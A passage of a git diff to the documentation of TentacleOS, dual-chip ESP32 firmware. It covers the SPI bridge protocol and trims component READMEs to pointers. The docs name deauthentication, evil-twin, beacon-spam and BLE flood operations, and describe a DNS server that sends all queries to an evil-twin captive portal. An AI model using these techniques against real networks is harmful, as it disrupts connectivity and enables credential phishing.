Scenarios: -- **P4 crashes before confirmation** — automatic rollback to previous firmware -- **C5 flash fails** — P4 does not confirm, rollback restores both chips -- **C5 flash interrupted (power loss)** — C5 ROM bootloader is always accessible, P4 re-flashes on next boot -- **Rollback after C5 was already updated** — rolled-back P4 contains old C5 binary, version mismatch triggers re-flash +- **P4 crashes before confirmation** - automatic rollback to previous firmware +- **C5 flash fails** - P4 does not confirm, rollback restores both chips +- **C5 flash interrupted (power loss)** - C5 ROM bootloader is always accessible, P4 re-flashes on next boot +- **Rollback after C5 was already updated** - rolled-back P4 contains old C5 binary, version mismatch triggers re-flash ### Partition Table diff --git a/docs/spi_bridge/README.md b/docs/spi_bridge/README.md index 0df44b8f4..c05de7358 100644 --- a/docs/spi_bridge/README.md +++ b/docs/spi_bridge/README.md @@ -1,4 +1,4 @@ -# TentacleOS — P4 ↔ C5 SPI Bridge +# TentacleOS - P4 ↔ C5 SPI Bridge How the two microcontrollers in TentacleOS talk to each other. @@ -22,7 +22,7 @@ TentacleOS runs on two chips with a clean split of responsibilities: The P4 has no native WiFi/BT radio, so every radio action (scan, connect, sniff, attack, mesh, …) is a **command sent to the C5** over SPI. The C5 executes it on the radio and returns results / streams data back. Anything that -needs the micro-SD is routed from the C5 to the P4 over this same bridge — the +needs the micro-SD is routed from the C5 to the P4 over this same bridge - the C5 stores only on its internal flash (LittleFS). ``` @@ -55,7 +55,7 @@ GPIO line (**IRQ**) lets the slave signal "response ready" to the master. - **DMA** is mandatory: frames are 264 B (and stream frames 2 KB), far above the SPI hardware FIFO (~64 B). DMA also frees the CPU during transfers. -- Because of DMA, **every transfer length must be a multiple of 4 bytes** — see +- Because of DMA, **every transfer length must be a multiple of 4 bytes** - see the frame sizing notes below. ### 2.2 UART + control (firmware flashing only) @@ -80,9 +80,9 @@ Every packet on the SPI bus starts with a fixed **5-byte header**: typedef struct { uint8_t sync; // 0xAA uint8_t type; // 0x01 CMD, 0x02 RESP, 0x03 STREAM - uint8_t category; // spi_cat_t — subsystem + uint8_t category; // spi_cat_t - subsystem uint8_t op; // operation within the category - uint8_t length; // payload bytes that follow (0–255) + uint8_t length; // payload bytes that follow (0-255) } spi_header_t; ``` @@ -107,7 +107,7 @@ alone; `op` selects the operation within it. In C, the `SPI_ID_*` constants stay single named values (e.g. `SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10) = 0x0110`), so call sites and -dispatcher `case` labels are unchanged — only the wire carries the two bytes. +dispatcher `case` labels are unchanged - only the wire carries the two bytes. The full command table lives in the P4 component README. ### Response status @@ -133,7 +133,7 @@ P4 (master) C5 (slave) ``` - The P4 catches the IRQ via a **GPIO rising-edge interrupt** (ISR → semaphore), - so the C5 only needs a short (~10 µs) pulse — no held level, no millisecond + so the C5 only needs a short (~10 µs) pulse - no held level, no millisecond delay. - The C5's `bridge_task` keeps a **receive transaction always armed in hardware** (it queues the next RX before the current response finishes), so a command is @@ -158,7 +158,7 @@ once. The C5 points the bridge at its result array via | `0xDDDD` | deauth counter | This is also how the **Packet Monitor** works: it's a counter-only sniffer mode -that just polls the stats — it does not stream frames. +that just polls the stats - it does not stream frames. --- @@ -179,15 +179,15 @@ STREAM frame payload (after the 5-byte header, type = STREAM): - `batch_len = 0` ⇒ no data pending ⇒ the P4 backs off and polls later. - The P4 unpacks and dispatches **each record to its op's callback**, exactly as - if it had arrived in its own frame — so session/`seq`/backpressure semantics + if it had arrived in its own frame - so session/`seq`/backpressure semantics stay **per record**. - The command/response path is untouched (still `SPI_FRAME_SIZE`). **Throughput:** the original one-record-per-frame + 1 ms IRQ pulse capped streams at ~120 KB/s. Shortening the IRQ pulse (~3×) plus batching lifts the ceiling to -roughly ~1 MB/s at 10 MHz — enough for dense-AP / targeted capture. A saturated +roughly ~1 MB/s at 10 MHz - enough for dense-AP / targeted capture. A saturated data channel can still overrun it (physics on a 1-bit link), in which case -records are **dropped and counted** (capture is never blocked) — the right tool +records are **dropped and counted** (capture is never blocked) - the right tool there is a capture filter. --- @@ -197,12 +197,12 @@ there is a capture filter. Streaming/long-running ops are wrapped in a **session** so the C5 never keeps running into the void if the P4 crashes or stops listening: -1. **Session ID** — the C5 returns a random 32-bit `session_id` on START; both +1. **Session ID** - the C5 returns a random 32-bit `session_id` on START; both sides track it, and stream records carry it so stale data is discarded. -2. **Heartbeat** — the P4 sends `SPI_ID_SESSION_HEARTBEAT` every **2 s** with its +2. **Heartbeat** - the P4 sends `SPI_ID_SESSION_HEARTBEAT` every **2 s** with its `last_acked_seq`. A C5 watchdog (1 s tick) kills any session whose last heartbeat is older than **5 s** and emits `SPI_ID_SESSION_LOST`. -3. **Backpressure window** — each record carries `{session_id, seq}`. The C5 +3. **Backpressure window** - each record carries `{session_id, seq}`. The C5 refuses to emit when `seq - last_acked_seq >= SPI_SESSION_WINDOW (64)`, preventing overflow when the radio produces faster than the bridge drains. @@ -241,30 +241,30 @@ new value, forcing a re-sync. ## 9. Key source files **P4 (master)** -- `components/Service/spi_bridge/` — `spi_bridge.c` (send command, stream task), +- `components/Service/spi_bridge/` - `spi_bridge.c` (send command, stream task), `spi_session.c` (session/heartbeat), `spi_protocol.h` (shared contract) -- `components/Drivers/spi_bridge_phy/` — SPI master PHY + IRQ edge ISR -- `components/Service/bridge_manager/` — version check + C5 recovery -- `components/Service/c5_flasher/` — `esp-serial-flasher` wrapper +- `components/Drivers/spi_bridge_phy/` - SPI master PHY + IRQ edge ISR +- `components/Service/bridge_manager/` - version check + C5 recovery +- `components/Service/c5_flasher/` - `esp-serial-flasher` wrapper **C5 (slave)** -- `components/Service/spi_bridge/` — `spi_bridge.c` (`bridge_task` routing + +- `components/Service/spi_bridge/` - `spi_bridge.c` (`bridge_task` routing + always-armed RX + stream batching), `wifi_dispatcher.c`, `bt_dispatcher.c`, `session_manager.c`, `spi_protocol.h` -- `components/Drivers/spi_slave/` — SPI slave driver (queued transactions) +- `components/Drivers/spi_slave/` - SPI slave driver (queued transactions) `spi_protocol.h` is kept in sync between the two firmwares (the P4 copy is a -superset — it has port-scan commands the C5 doesn't implement). +superset - it has port-scan commands the C5 doesn't implement). --- ## 10. Design constraints & limits -- **1-bit SPI** — dual/quad isn't wired, so the raw ceiling is the clock +- **1-bit SPI** - dual/quad isn't wired, so the raw ceiling is the clock (~1.25 MB/s at 10 MHz). Higher clocks (20/40 MHz) are possible but limited by the SPI slave timing and trace integrity. - **264 B / 2 KB frames must stay 4-byte aligned** for DMA. -- The two `spi_protocol.h` copies are maintained by hand — keep them in sync. +- The two `spi_protocol.h` copies are maintained by hand - keep them in sync. - Command `op` values currently reuse the legacy single-byte ids (e.g. WiFi ops start at `0x10`); renumbering to `0x01`-based per category is a safe cosmetic follow-up. diff --git a/docs/spi_bridge/c5.md b/docs/spi_bridge/c5.md index 23e72602a..b3525aceb 100644 --- a/docs/spi_bridge/c5.md +++ b/docs/spi_bridge/c5.md @@ -53,16 +53,16 @@ operation must: 1. Call `session_manager_start(op_id, kill_cb)` from its dispatcher case to obtain a `session_id`. The dispatcher returns this id to the master inside an `spi_session_resp_t` response payload. -2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` — invoked +2. Provide a `kill_cb(spi_id_t)` that calls the op's `_stop()` - invoked by the watchdog when the master goes quiet, and also when the master sends `SPI_ID_SESSION_STOP`. 3. **Streaming ops only**: store the id in the op (e.g. via a `_bind_session(uint32_t)` setter) and emit packets via `session_manager_try_emit(s_session_id, data, len)` instead of raw - `spi_bridge_stream_push` — this prefixes meta and applies backpressure. + `spi_bridge_stream_push` - this prefixes meta and applies backpressure. For non-streaming ops (deauther, flood, evil_twin, beacon_spam, etc.), -the `kill_cb` lives in the dispatcher itself — the op's `.c` file does +the `kill_cb` lives in the dispatcher itself - the op's `.c` file does not need to know about sessions at all. References: diff --git a/docs/spi_bridge/p4.md b/docs/spi_bridge/p4.md index b22256d64..47137e947 100644 --- a/docs/spi_bridge/p4.md +++ b/docs/spi_bridge/p4.md @@ -200,7 +200,7 @@ typedef struct { } spi_header_t; ``` -**Example — WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: +**Example - WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: ``` P4 -> C5 (command) @@ -212,7 +212,7 @@ P4 -> C5 (command) | +----------- type = 0x01 (CMD) +-------------- sync = 0xAA -C5 -> P4 (response, after raising IRQ) — payload byte 0 is the status +C5 -> P4 (response, after raising IRQ) - payload byte 0 is the status AA 02 01 10 01 00 ^ ^ ^ ^ ^ ^ | | | | | +-- status = 0x00 (SPI_STATUS_OK) @@ -246,25 +246,25 @@ per round-trip: `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs off and polls again later. - The P4 unpacks and dispatches **each record to its `op`'s stream callback**, - exactly as if it had arrived in its own frame — so session/`seq`/backpressure + exactly as if it had arrived in its own frame - so session/`seq`/backpressure semantics stay **per record** (see Session Lifecycle). The command/response path is unaffected and still uses `SPI_FRAME_SIZE`. Two related tunables: the C5 signals readiness with a short rising-edge IRQ -pulse (~10 µs — the P4 catches it via a GPIO edge interrupt, so no held level +pulse (~10 µs - the P4 catches it via a GPIO edge interrupt, so no held level or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; when it overflows, records are dropped and counted (never block capture). ### Stream Example (WiFi sniffer) -**Producer — C5** (each captured 802.11 frame becomes one record; the session +**Producer - C5** (each captured 802.11 frame becomes one record; the session layer adds the `{session_id, seq}` meta and applies backpressure): ```c spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); ``` -**On the wire** — the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame +**On the wire** - the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame batching the queued records: ``` P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) @@ -282,7 +282,7 @@ C5 -> P4: AA 03 00 00 00 | ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── ``` -**Consumer — P4** (each record is dispatched to the op's callback; the meta is +**Consumer - P4** (each record is dispatched to the op's callback; the meta is stripped by the session layer, so the consumer sees only the frame): ```c // registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) @@ -334,7 +334,7 @@ session is gone and fires its local `on_lost` callback. ### 3. Backpressure window Stream packets carry `{ session_id, seq }`. The master accumulates `last_acked_seq` and reports it via heartbeat. The C5 refuses to emit if -`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` — protects against +`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` - protects against buffer overflow when the slave produces faster than the master drains. Drops are counted and logged. @@ -364,7 +364,7 @@ esp_err_t spi_session_stop(uint32_t session_id); ``` Returns `SPI_SESSION_INVALID_ID` (0) on START failure. The `on_stream` -callback receives the **operation payload only** — the meta header is +callback receives the **operation payload only** - the meta header is stripped and ack tracking is invisible to the consumer. ### Slave API (C5) @@ -379,21 +379,21 @@ esp_err_t session_manager_try_emit(uint32_t session_id, ``` The op implementation stores the returned `session_id` and uses it for -every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop — +every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop - the op should call its own `_stop()` from there. ### Migrating a New Operation (recipe) There are two patterns depending on whether the op emits streams. Both -are used in the codebase — see `wifi_sniffer` (streaming) and +are used in the codebase - see `wifi_sniffer` (streaming) and `wifi_deauther` (non-streaming) as references. -#### Pattern A — Non-streaming op (deauther, flood, evil_twin, …) +#### Pattern A - Non-streaming op (deauther, flood, evil_twin, …) The op runs in background but does NOT emit packets to the master. The master polls for results via `SPI_ID_SYSTEM_DATA` if it needs data. -**C5 side (only the dispatcher changes — op .c/.h untouched):** +**C5 side (only the dispatcher changes - op .c/.h untouched):** ```c // In wifi_dispatcher.c (or bt_dispatcher.c): static void killed_my_op(spi_id_t id) { (void)id; my_op_stop(); } @@ -421,7 +421,7 @@ void my_op_stop(void) { } ``` -#### Pattern B — Streaming op (sniffer, ble_sniffer, …) +#### Pattern B - Streaming op (sniffer, ble_sniffer, …) The op emits a continuous stream of packets to the master. @@ -444,16 +444,16 @@ The op emits a continuous stream of packets to the master. 2. Store the returned `session_id`. 3. Change STOP to `spi_session_stop(session_id)`. 4. The `on_stream` callback signature is - `void(const uint8_t *payload, uint8_t len)` — the meta header is + `void(const uint8_t *payload, uint8_t len)` - the meta header is already stripped. ### Tunables Defined in `session_manager.c` (slave) and `spi_session.c` (master): -- `SESSION_TIMEOUT_MS` = 5000 — slave watchdog timeout -- `WATCHDOG_PERIOD_MS` = 1000 — slave watchdog tick -- `HEARTBEAT_INTERVAL_MS` = 2000 — master ping period -- `HEARTBEAT_FAIL_LIMIT` = 3 — master fails before declaring lost -- `SPI_SESSION_WINDOW` = 64 — backpressure window (in `spi_protocol.h`) +- `SESSION_TIMEOUT_MS` = 5000 - slave watchdog timeout +- `WATCHDOG_PERIOD_MS` = 1000 - slave watchdog tick +- `HEARTBEAT_INTERVAL_MS` = 2000 - master ping period +- `HEARTBEAT_FAIL_LIMIT` = 3 - master fails before declaring lost +- `SPI_SESSION_WINDOW` = 64 - backpressure window (in `spi_protocol.h`) ### Migrated operations @@ -469,18 +469,18 @@ All long-running ops now use the session lifecycle. Each one: |----|-----------|-----------|----------| | `WIFI_APP_SNIFFER` | wifi_sniffer.c | wifi_sniffer.c | ✓ stream | | `BT_APP_SNIFFER` | ble_sniffer.c | bluetooth_service.c | ✓ stream | -| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | – | -| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | – | -| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | – | -| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | – | -| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | – | -| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | – | -| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | – | -| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | – | -| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | – | -| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | – | -| `BT_APP_SPAM` | (handler pending) | canned_spam.c | – | -| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | – | +| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | - | +| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | - | +| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | - | +| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | - | +| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | - | +| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | - | +| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | - | +| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | - | +| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | - | +| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | - | +| `BT_APP_SPAM` | (handler pending) | canned_spam.c | - | +| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | - | The legacy `SPI_ID_WIFI_APP_ATTACK_STOP` and `SPI_ID_BT_APP_STOP` shotgun commands have been removed entirely. Every op now stops via its own diff --git a/firmware_c5/components/Applications/espnow_chat/README.md b/firmware_c5/components/Applications/espnow_chat/README.md index 83ad2ee31..3416d427d 100644 --- a/firmware_c5/components/Applications/espnow_chat/README.md +++ b/firmware_c5/components/Applications/espnow_chat/README.md @@ -1,100 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/espnow_chat/README.md`](../../../../docs/espnow_chat/README.md). - # ESP-NOW Chat Application -The **ESP-NOW Chat Application** is the high-level logic layer that bridges the raw `Service` capabilities with the User Interface (UI). It handles business logic, event notification, and data formatting for the display. - -## Overview - -This component sits between the **UI Manager** (LVGL) and the **ESP-NOW Service**. It ensures that the UI doesn't need to know about raw bytes, MAC addresses, or packet types, providing a clean API for "sending messages" and "listing users". - -## Features - -- **Event-Driven UI Updates**: Provides a callback mechanism so the UI only updates when necessary (new message, new device found). -- **System Notifications**: automatically injects system messages (e.g., "Secure Pair with User!") into the chat stream. -- **Simplified API**: Wraps complex service calls into single-line functions for the UI. -- **Data Abstraction**: Converts service-level structs into UI-friendly structs. - -## Integration Guide - -### 1. Initialization -In your `main.c` or `ui_manager.c`: - -```c -#include "espnow_chat.h" - -void app_main() { - // ... WiFi Init ... - - // Initialize the Chat App - espnow_chat_init(); - - // Register UI Callbacks - espnow_chat_register_msg_cb(my_ui_message_handler); - espnow_chat_register_refresh_cb(my_ui_device_list_refresh); -} -``` - -### 2. Handling Messages in UI -The UI should implement a callback to receive messages: - -```c -void my_ui_message_handler(const char *sender_nick, const char *message, bool is_system_msg) { - if (is_system_msg) { - // Render in yellow/red - ui_chat_add_bubble_system(message); - } else { - // Render in bubble - ui_chat_add_bubble(sender_nick, message); - } -} -``` - -### 3. Listing Devices -When the user opens the "Scan" tab, the UI calls: - -```c -espnow_chat_peer_t peers[10]; -int count = espnow_chat_get_peer_list(peers, 10); - -for(int i=0; i UI calls `espnow_chat_broadcast_discovery()`. - - Service sends HELLO. - - Other devices receive HELLO -> Service auto-adds to list -> App triggers `refresh_cb` -> UI updates list. - -2. **Chatting**: - - User taps a device -> UI enters Chat Screen. - - User types "Hi" -> UI calls `espnow_chat_send_message()`. - - Service encrypts & sends. +Documentation for this component lives in the project docs hub (single source of truth): -3. **Secure Pairing**: - - User taps "Secure Pair" -> UI calls `espnow_chat_secure_pair()`. - - Service generates Key (if none) -> Sends `KEY_SHARE` packet. - - Target receives `KEY_SHARE` -> App triggers `msg_cb` ("Secure Pair with X!") -> Service saves key. - - Future messages are now secure. +- [docs/espnow_chat/README.md](../../../../docs/espnow_chat/README.md) +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Drivers/buttons_gpio/README.md b/firmware_c5/components/Drivers/buttons_gpio/README.md index 22f8e32c0..de80d07f6 100644 --- a/firmware_c5/components/Drivers/buttons_gpio/README.md +++ b/firmware_c5/components/Drivers/buttons_gpio/README.md @@ -1,66 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/buttons_gpio/c5.md`](../../../../docs/buttons_gpio/c5.md). - # GPIO Buttons Driver -This component handles the physical input buttons of the Highboy device. It provides functions to initialize GPIOs and poll button states, supporting both "is pressed" (continuous) and "was pressed" (one-shot/flag) logic. - -## Overview - -- **Location:** `components/Drivers/buttons_gpio/` -- **Header:** `include/buttons_gpio.h` -- **Dependencies:** `driver/gpio`, `pin_def.h` - -## Configuration - -- **Input Mode:** `GPIO_MODE_INPUT` with internal Pull-Up enabled. -- **Active Level:** Low (`0`). Buttons connect to ground when pressed. -- **Debounce/Polling:** Handled via `buttons_task` or direct atomic flag checks. - -## Key Mapping - -| Button | Function | -| :--- | :--- | -| **BTN_UP** | Up Navigation | -| **BTN_DOWN** | Down Navigation | -| **BTN_LEFT** | Left / Decrease | -| **BTN_RIGHT** | Right / Increase | -| **BTN_OK** | Enter / Select | -| **BTN_BACK** | Back / Escape | - -## API Reference - -### Initialization - -#### `buttons_init` -```c -void buttons_init(void); -``` -Configures the GPIO pins defined in `pin_def.h` as inputs with pull-ups. Initializes the state of all buttons. - -### State Checking (One-shot) -These functions return `true` **only once** per press. They rely on the `buttons_task` or interrupt logic (conceptually) setting a flag, and these functions reading/clearing it atomically. - -- `bool up_button_pressed(void)` -- `bool down_button_pressed(void)` -- `bool left_button_pressed(void)` -- `bool right_button_pressed(void)` -- `bool ok_button_pressed(void)` -- `bool back_button_pressed(void)` - -### State Checking (Continuous) -These functions return the **current raw state** of the button. Returns `true` as long as the button is held down. - -- `bool up_button_is_down(void)` -- `bool down_button_is_down(void)` -- `bool left_button_is_down(void)` -- `bool right_button_is_down(void)` -- `bool ok_button_is_down(void)` -- `bool back_button_is_down(void)` +Documentation for this component lives in the project docs hub (single source of truth): -### Tasks +- [docs/buttons_gpio/c5.md](../../../../docs/buttons_gpio/c5.md) -#### `buttons_task` -```c -void buttons_task(void); -``` -Updates the internal state of the buttons. This should be called periodically (e.g., in a FreeRTOS task or timer callback) to detect state changes (edges) and set the `pressed_flag`. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Drivers/spi/README.md b/firmware_c5/components/Drivers/spi/README.md index 52c38f454..cf89dadb6 100644 --- a/firmware_c5/components/Drivers/spi/README.md +++ b/firmware_c5/components/Drivers/spi/README.md @@ -1,55 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi/c5.md`](../../../../docs/spi/c5.md). - # SPI Bus Driver -This component acts as a central manager for the SPI bus, allowing multiple devices (Display, Radio, SD Card) to share the same SPI host safely and efficiently. - -## Overview - -- **Location:** `components/Drivers/spi/` -- **Header:** `include/spi.h` -- **Dependencies:** `driver/spi_master` -- **Host:** `SPI3_HOST` - -## Supported Devices (`spi_device_id_t`) - -1. **SPI_DEVICE_ST7789:** Display Driver -2. **SPI_DEVICE_CC1101:** Sub-GHz Radio -3. **SPI_DEVICE_SD_CARD:** Storage - -## API Reference - -### `spi_init` -```c -esp_err_t spi_init(void); -``` -Initializes the SPI bus (MOSI, MISO, SCLK) on `SPI3_HOST` using DMA Channel `Auto`. -- **Pins:** Defined in `pin_def.h`. -- **Max Transfer Size:** 32768 bytes. - -### `spi_add_device` -```c -esp_err_t spi_add_device(spi_device_id_t id, const spi_device_config_t *config); -``` -Adds a specific device to the initialized bus. -- **id:** Device identifier enum. -- **config:** Struct containing CS pin, clock speed, SPI mode, and queue size. - -### `spi_get_handle` -```c -spi_device_handle_t spi_get_handle(spi_device_id_t id); -``` -Retrieves the ESP-IDF `spi_device_handle_t` for a registered device ID. Useful for calling native ESP-IDF SPI functions. +Documentation for this component lives in the project docs hub (single source of truth): -### `spi_transmit` -```c -esp_err_t spi_transmit(spi_device_id_t id, const uint8_t *data, size_t len); -``` -Performs a simple polling/blocking transmission to the specified device. -- **Note:** For high-performance display flushing, specific drivers (like `esp_lcd`) typically use their own transmission logic using the handle obtained via `spi_get_handle`. +- [docs/spi/c5.md](../../../../docs/spi/c5.md) -### `spi_deinit` -```c -esp_err_t spi_deinit(void); -``` -Removes all devices and frees the SPI bus resources. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/bluetooth/README.md b/firmware_c5/components/Service/bluetooth/README.md index 66faf6c46..2027a6624 100644 --- a/firmware_c5/components/Service/bluetooth/README.md +++ b/firmware_c5/components/Service/bluetooth/README.md @@ -1,147 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/bluetooth/README.md`](../../../../docs/bluetooth/README.md). - # Bluetooth Service Component Documentation -This component manages the Bluetooth Low Energy (BLE) functionality of the device using the Apache NimBLE stack. It provides a high-level API for initialization, lifecycle management, scanning, advertising, connection handling, and address randomization. - -## Overview - -- **Location:** `components/Service/bluetooth/` -- **Main Header:** `include/bluetooth_service.h` -- **Stack:** Apache NimBLE (via `nimble_port`) -- **Dependencies:** `nvs_flash`, `storage_assets`, `cJSON`, `esp_random` - -## API Functions - -### Initialization & Lifecycle - -The service lifecycle is split into initialization (resource allocation) and start (execution). - -#### `bluetooth_service_init` -```c -esp_err_t bluetooth_service_init(void); -``` -Allocates resources and prepares the BLE stack. -- Initializes NVS. -- Initializes the NimBLE port. -- Configures GAP callbacks and loads persistent device configuration. -- Does **not** start the background task. - -#### `bluetooth_service_start` -```c -esp_err_t bluetooth_service_start(void); -``` -Spawns the NimBLE host task and waits (up to 10s) for the controller to synchronize. - -#### `bluetooth_service_stop` -```c -esp_err_t bluetooth_service_stop(void); -``` -Stops the NimBLE host task. The service is "paused", but resources remain allocated in memory. - -#### `bluetooth_service_deinit` -```c -esp_err_t bluetooth_service_deinit(void); -``` -Completely shuts down the stack and frees all allocated memory and semaphores. - -#### `Status Checks` -- `bluetooth_service_is_initialized()`: Returns `true` if resources are allocated. -- `bluetooth_service_is_running()`: Returns `true` if the host task is active. - -### Scanning - -#### `bluetooth_service_scan` -```c -void bluetooth_service_scan(uint32_t duration_ms); -``` -Performs a blocking discovery procedure for the specified duration. Results are stored in an internal cache. - -#### `Scan Results` -- `bluetooth_service_get_scan_count()`: Returns the number of unique devices found. -- `bluetooth_service_get_scan_result(uint16_t index)`: Returns a pointer to a `bluetooth_service_scan_result_t` structure containing name, RSSI, and MAC address. - -### Advertising Management - -#### `bluetooth_service_start_advertising` / `stop_advertising` -Standard connectable advertising using the configured device name. Advertising automatically restarts on disconnection. - -### Connection Management - -#### `bluetooth_service_disconnect_all` -```c -void bluetooth_service_disconnect_all(void); -``` -Terminates all active GAP connections. - -#### `bluetooth_service_get_connected_count` -```c -int bluetooth_service_get_connected_count(void); -``` -Returns the number of currently connected peers (tracked internally). - -### Address Management - -#### `bluetooth_service_get_mac` -```c -void bluetooth_service_get_mac(uint8_t *mac); -``` -Copies the 6-byte current identity address into the provided buffer. - -#### `bluetooth_service_get_own_addr_type` -```c -uint8_t bluetooth_service_get_own_addr_type(void); -``` -Returns the current address type (e.g., Public, Random Static) used by the stack. - -#### `bluetooth_service_set_random_mac` -```c -esp_err_t bluetooth_service_set_random_mac(void); -``` -Generates and sets a new **Random Static Address**. This stops active advertising and switches the address type to `BLE_OWN_ADDR_RANDOM`. - -### Power Management - -#### `bluetooth_service_set_max_power` -Sets TX power to `ESP_PWR_LVL_P9` (+9dBm) for advertising and connections. - -### Configuration & Persistence - -#### `bluetooth_service_save_announce_config` -```c -esp_err_t bluetooth_service_save_announce_config(const char *name, uint8_t max_conn); -``` -Saves the main device announcement settings (Device Name) to `/assets/config/bluetooth/ble_announce.conf`. - -#### `bluetooth_service_load_spam_list` -```c -esp_err_t bluetooth_service_load_spam_list(char ***list, size_t *count); -``` -Loads a list of beacon names/payloads from `/assets/config/bluetooth/beacon_list.conf` used for specific application logic (e.g., spam functions). -- **Memory:** Allocates an array of strings. The caller **must** free this memory using `bluetooth_service_free_spam_list`. - -#### `bluetooth_service_save_spam_list` -```c -esp_err_t bluetooth_service_save_spam_list(const char * const *list, size_t count); -``` -Saves a list of strings to the beacon configuration file. - -#### `bluetooth_service_free_spam_list` -```c -void bluetooth_service_free_spam_list(char **list, size_t count); -``` -Helper function to safely free the memory allocated by `bluetooth_service_load_spam_list`. - -## Internal Implementation Details - -### Connection Tracking -The service maintains an internal array (`connection_handles`) of active peers. This is updated via `BLE_GAP_EVENT_CONNECT` and `BLE_GAP_EVENT_DISCONNECT` in the GAP event handler to allow mass disconnection and status reporting without relying on private NimBLE headers. +Documentation for this component lives in the project docs hub (single source of truth): -### Event Handling -- `BLE_GAP_EVENT_DISC`: Parsed advertisement data to populate the scan results cache. -- `BLE_GAP_EVENT_DISC_COMPLETE`: Signals the completion of the scan via a semaphore. -- `BLE_GAP_EVENT_CONNECT/DISCONNECT`: Logs events and manages the connection tracking list. +- [docs/bluetooth/README.md](../../../../docs/bluetooth/README.md) -### Configuration Files -- `assets/config/bluetooth/ble_announce.conf`: Device name and connection limits. -- `assets/config/bluetooth/beacon_list.conf`: Payload list for BLE spam functions. +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_c5/components/Service/dns_server/README.md b/firmware_c5/components/Service/dns_server/README.md index bca773104..856642088 100644 --- a/firmware_c5/components/Service/dns_server/README.md +++ b/firmware_c5/components/Service/dns_server/README.md @@ -1,55 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/dns_server/README.md`](../../../../docs/dns_server/README.md). - # DNS Server Service Component -This component implements a lightweight DNS server optimized for "Evil Twin" and Captive Portal applications. It intercepts all DNS queries and responds authoritatively with the device's own IP address, effectively redirecting all traffic to the local web server. - -## Overview - -- **Location:** `components/Service/dns_server/` -- **Main Header:** `include/dns_server.h` -- **Socket Type:** UDP Port 53 -- **Response Strategy:** Authoritative (AA=1), Recursive (RA=0), No Error. -- **Dependencies:** `lwip/sockets`, `esp_netif` - -## Key Features - -- **Dynamic IP Resolution:** Automatically detects the current Access Point IP address using `esp_netif_get_ip_info`, ensuring correct redirection even if the network configuration changes. -- **Robust Parsing:** Implements a safe DNS name parser (`parse_dns_name`) to validate queries and prevent buffer overflows. -- **Evil Twin Optimization:** Uses specific DNS flags (`0x8500`) to mark responses as "Authoritative". This forces client devices (especially modern Android/iOS) to accept the redirection faster, improving Captive Portal detection. -- **IPv4 Focus:** Optimized for stability and simplicity, handling standard A-record queries. -- **Task Management:** Runs in a dedicated FreeRTOS task with an increased stack size (4096 bytes) to handle high loads and logging without overflow. - -## API Reference - -### `start_dns_server` -```c -void start_dns_server(void); -``` -Starts the DNS server task. -- Creates a UDP socket bound to port 53. -- Listens for incoming queries. -- Spawns the `dns_server` task with 4KB stack. - -### `stop_dns_server` -```c -void stop_dns_server(void); -``` -Stops the DNS server and frees resources. -- Deletes the FreeRTOS task. -- Closes the UDP socket (handled within the task loop upon deletion). - -## Internal Implementation Details +Documentation for this component lives in the project docs hub (single source of truth): -### Packet Handling -1. **Validation:** Incoming packets are checked for minimum size (header length) and valid query flags. -2. **Parsing:** The domain name is extracted using `parse_dns_name` for logging and validation purposes. -3. **Response Construction:** - - Copies the transaction ID from the request. - - Sets Flags to 